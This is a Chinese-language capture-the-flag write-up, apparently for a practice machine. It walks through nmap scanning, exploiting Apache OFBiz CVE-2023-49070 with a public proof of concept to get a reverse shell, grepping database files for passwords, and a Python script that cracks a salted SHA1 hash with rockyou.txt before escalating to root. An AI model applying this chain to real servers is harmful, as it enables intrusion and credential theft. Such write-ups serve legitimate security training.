使用nmap工具对ip进行扫描
nmap 10.10.11.252
发现开放了22、80、443三个端口
访问ip
查看后发现没有其他功能点,于是进行目录扫描
发现该站点没有子域名,将dirsearch扫描出的目录进行遍历后,发现一个登录界面
能够看到该登录界面为Apache OFBiz组件,在尝试弱口令和万能密码无果后,搜索相关漏洞
发现存在漏洞CVE-2023-49070,前往https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass/tree/master下载POC
首先检测漏洞是否存在
发现可能存在漏洞,继续利用POC中的命令执行进行反弹shell
反弹成功
修改显示方式
在查看suid提权和内核版本提权无果后,注意到Apache OFBiz组件包含了数据库,因此尝试搜索从数据库当中搜索敏感信息
cd /opt/ofbiz/runtime/data/derby/ofbiz/seg0
grep -arin -o -E '(\w+\W+){0,5}password(\W+\w+){0,5}' .
发现数据库文件中有一段经过加盐的SHA密码
因为知道了盐,编写一段脚本将其进行暴力破解,看看是否能够破解出密码
import hashlib
import base64
import os
def cryptBytes(hash_type, salt, value):
if not hash_type:
hash_type = "SHA"
if not salt:
salt = base64.urlsafe_b64encode(os.urandom(16)).decode('utf-8')
hash_obj = hashlib.new(hash_type)
hash_obj.update(salt.encode('utf-8'))
hash_obj.update(value)
hashed_bytes = hash_obj.digest()
result = f"${hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"
return result
def getCryptedBytes(hash_type, salt, value):
try:
hash_obj = hashlib.new(hash_type)
hash_obj.update(salt.encode('utf-8'))
hash_obj.update(value)
hashed_bytes = hash_obj.digest()
return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')
except hashlib.NoSuchAlgorithmException as e:
raise Exception(f"Error while computing hash of type {hash_type}: {e}")
hash_type = "SHA1"
salt = "d"
search = "$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I"
wordlist = '/usr/share/wordlists/rockyou.txt'
with open(wordlist,'r',encoding='latin-1') as password_list:
for password in password_list:
value = password.strip()
hashed_password = cryptBytes(hash_type, salt, value.encode('utf-8'))
# print(hashed_password)
if hashed_password == search:
print(f'Found Password:{value}, hash:{hashed_password}')
跑出来密码为:monkeybizness
尝试切换到root用户
提权成功